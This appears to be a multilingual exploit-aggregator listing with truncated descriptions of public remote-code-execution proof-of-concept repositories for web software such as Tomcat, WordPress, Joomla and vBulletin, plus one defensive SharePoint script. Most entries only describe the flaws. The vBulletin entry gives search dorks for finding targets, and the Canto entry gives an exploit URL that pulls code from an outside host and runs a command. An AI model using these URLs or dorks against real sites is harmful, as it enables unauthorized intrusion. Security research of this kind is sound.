cve-2022-41352-zimbra-rce

此存储库没有 README。...

CVE-2020-9496

CVE-2020-9496 - 远程代码执行 因为 webtools 中两个与 xmlrpc 相关的请求（xmlrpc 和 ping）未使用身份验证，因此它们容易受到不安全的反序列化影响。此问题由 GitHub 安全实验室团队的 Alvaro Munoz [email protected] 报告给安全团队。 此漏洞是由于处理发送到 /webtools/control/xmlrpc 的请求时存在 Java 反序列化问题所致。远程未经身份验证的攻击者可以通过发送特制请求来利用此漏洞。成功利用将导致任意代码执行。 受影响版本 17.12.01 已修复版本 18.12.01,...

CVE-2022-35914-RCE

CVE-2022-35914 by cyb3rk0ala PoC for CVE-2022-35914 , a command-injection vulnerability involving the htmLawed test component in vulnerable GLPI installations. The tool provides command execution through the vulnerable endpoint and includes optional callback functionality for authorized lab...

cve-2017-8760

エクスプロイトツールキット CVE-2017-8759 - v1.0 エクスプロイトツールキット CVE-2017-8759 - v1.0 は、ペネトレーションテスターやセキュリティ研究者が Microsoft .NET Framework RCE を迅速かつ効果的にテストできる便利な Python スクリプトです。複雑な設定なしに悪意のある RTF ファイルを生成し、メタスプロイト / ミータープリター / その他のペイロードを被害者に配信できます。 免責事項 このプログラムは教育目的のみです。許可なく使用しないでください。通常の免責事項が適用されます。特に、私 bhdresh...

Magento-CVE-2016-4010

Análisis y explotación de la vulnerabilidad de ejecución remota de código no autenticada en Magento CVE-2016-4010 0x00 Prefacio El 17 de mayo, el investigador de seguridad Netanel Rubin publicó una vulnerabilidad de ejecución remota de código no autenticada en Magento CVE-2016-4010. Esta...

CVE-2025-24813

利用条件 DefaultServlet 書き込み機能の有効化：web.xml で readonly=false を設定する必要があります Partial PUT リクエストのサポート：Tomcat はデフォルトでチャンクアップロードをサポートしています ファイルセッションの永続化の有効化：context.xml で PersistentManager と FileStore を設定する必要があります デシリアライゼーションの悪用チェーンの存在：クラスパスに脆弱性のあるライブラリが含まれている必要があります 影響範囲 9.0.0.M1 readonly false 2...

ZeroPoint

ZeroPoint.ps1 ⚠ CVE-2025-53770 のゼロデイ脆弱性（ Microsoft SharePoint Server ）の悪用を検出し緩和するための防御的なPowerShellユーティリティです。 🔍 機能概要 このPowerShellスクリプトは以下のことを行います： 侵害の兆候（不審な .aspx ウェブシェルなど）を検出 ULSログを解析してデシリアライゼーション/スプーフィング活動を特定 AMSIやMicrosoft Defenderなどの重要なセキュリティ設定を確認 外部インターフェースを切断する オプションの緊急緩和策 を提供 🚨 CVE 詳細 CVE:...

FUDforum-XSS-RCE

FUDforum-XSS-RCE FUDForum 3.0.9 - XSS / リモートコード実行 CVE-2019-18873, CVE-2019-18839 FUDforum 3.0.9 に複数の保存型XSS脆弱性が発見され、それらはリモートコード実行につながる可能性があります。 フォーラムのユーザー名経由の保存型XSS: 詳細 | デモ 管理パネルのユーザーエージェント経由の保存型XSS: 詳細 | デモ...

CVE-2025-32432-POC

Craft CMS CVE-2025-32432 单目标 PoC 仅限授权测试。 本仓库仅用于受控实验室环境、CTF 平台（如 Hack The Box）、内部验证和防御性核查。请勿针对您不拥有或未获得明确许可的系统运行此工具。 概述 本项目包含针对 CVE-2025-32432 的单目标概念验证（PoC），该漏洞是 Craft CMS 的一个预认证远程代码执行问题。 该 PoC 分两个阶段执行： 1. 漏洞确认 ：通过 Craft CMS 的资产变换生成端点使用 phpinfo gadget。 2. 可选命令执行 ：使用两步会话文件包含链。 该脚本旨在避免一些公开 PoC...

CVE-2025-8110

Gogs 任意文件写入至远程代码执行漏洞 CVE-2025-8110 - 教育用途的利用工具 此仓库包含一个 Python 概念验证（PoC）脚本，用于演示和分析在自托管的 Git 服务 Gogs （版本 0.13.3 及更早版本）中记录的漏洞 CVE-2025-8110 。 ⚠️ 免责声明（Disclaimer） !WARNING 本软件仅供教育和安全研究目的使用。 未经所有者事先书面同意，将此材料用于目标是非法的。本仓库的作者不对因使用本代码造成的任何损害、损失或滥用负责。请自行承担风险，并仅在受控环境或授权的模拟（如 CTF 实验室）中使用。 什么是 CVE-2025-8110？...

CVE-2026-5029-Exploit

🔥 CVE-2026-5029 — Code Runner MCP Server RCE 漏洞 通过 run-code MCP 工具实现未授权远程代码执行 CVE-2026-5029 的概念验证（PoC）利用程序——Code Runner MCP Server 中的一个严重未授权远程代码执行漏洞，当服务器以--transport http 运行时，可通过 run-code MCP 工具触发。 📋 漏洞概述 🧠 技术描述 Code Runner MCP Server 在通过 --transport http 标志启动时，会在 3088 端口 上暴露一个 JSON-RPC /mcp...

CVE-2024-47533-Cobbler-XMLRPC-Authentication-Bypass-RCE-Exploit-POC

CVE-2024-47533 - Explotación de RCE por omisión de autenticación en el XMLRPC de Cobbler ⚠️ Ejecución remota de código crítica mediante omisión de autenticación en Cobbler 🛠️ Implementación del PoC por @dollarboysushil 💡 Descripción general Cobbler, un servidor de instalación de Linux que permite...

CVE-2026-61511

VBulletin RCE POC Telegram : @esp256 支持 : 批量/单个扫描 Fofa Dork root@kitploit: body="Powered by vBulletin" body="vbulletin/core/cpstyles" body="Powered by vBulletin" && body="6.2" body="Powered by vBulletin" && body="6.1" body="Powered by vBulletin" && body="6."...

CVE-2023-3452-PoC

CVE-2023-3452-PoC - WordPress 插件 Canto ，就可以远程执行代码。 root@kitploit: http://192.168.1.142/wp-content/plugins/canto/includes/lib/download.php?wpabspath=http://192.168.1.33:8080&cmd=whoami 所有这些已经在 Python 利用工具 CVE-202...

CVE-2018-1000533

Vulnerabilidad de ejecución remota de código en GitList 0.6.0 CVE-2018-1000533 GitList es un visor moderno de repositorios Git. En las versiones de GitList 0.6.0 e inferiores existe una vulnerabilidad que pasa entrada no validada adecuadamente a funciones del sistema, lo que permite ejecutar...

CVE-2026-48908

CVE-2026-48908 — SP Page Builder Joomla 未认证远程代码执行 针对 CVE-2026-48908 的概念验证漏洞利用程序，这是一个严重（CVSS 4.0 = 10.0 ）的未经认证的远程代码执行漏洞，存在于 JoomShaper 开发的 Joomla SP Page Builder 组件 comsppagebuilder 中。 | ---|--- CVE| CVE-2026-48908 弱点| CWE-284 不正确的访问控制 → 未经认证的任意文件上传 → RCE 组件| SP Page Builder comsppagebuilder for...

CVE-2026-63030-CVE-2026-60137

CVE-2026-63030 & CVE-2026-60137 — wp2shell WordPress Core 预认证 RCE — 路由混淆 + SQL 注入链式利用实现远程代码执行...

Chamilo-CVE-2023-4220-Exploit

Chamilo-LMS-CVE-2023-4220-Exploit 这是一个针对 Chamilo LMS 中大文件上传功能 /main/inc/lib/javascript/bigupload/inc/bigUpload.php 的未限制文件上传漏洞（CVE-2023-4220）的利用程序。受影响版本为 Chamilo LMS = v1.11.24。攻击者可通过上传 Web Shell 获得远程代码执行权限，从而允许任意文件被上传到 /main/inc/lib/javascript/bigupload/files 目录。 漏洞利用演示 你可以首先运行该漏洞利用程序以了解如何使用它：...

log4shell-homework9

課題9 – Log4Shellエクスプロイトに対するシステムの保護 概要 このプロジェクトは、脆弱なLog4j 2.14.1を使用するDocker化されたJava Webアプリケーションを用いて、Log4Shellの脆弱性（CVE-2021-44228）の悪用と緩和を実証します。この構成には、JNDIインジェクション攻撃経路を実証するための、模擬的な悪意のあるLDAPサーバーも含まれます。 悪用後、Log4jのアップグレード、入力検証、MITRE D3FENDおよびATT&CKの推奨事項の適用により、システムは強化されます。 フォルダ構成 root@kitploit:...

CVE-2017-12615-PoC

CVE 2017-12615 Apache Tomcat Windows RCE ⚠️Warning This is a proof of concept environment and exploit for known CVEs, strictly for learning and educational purposes. Do not use these scripts or techniques on systems you do not own or have explicit permission to test. Unauthorised access or...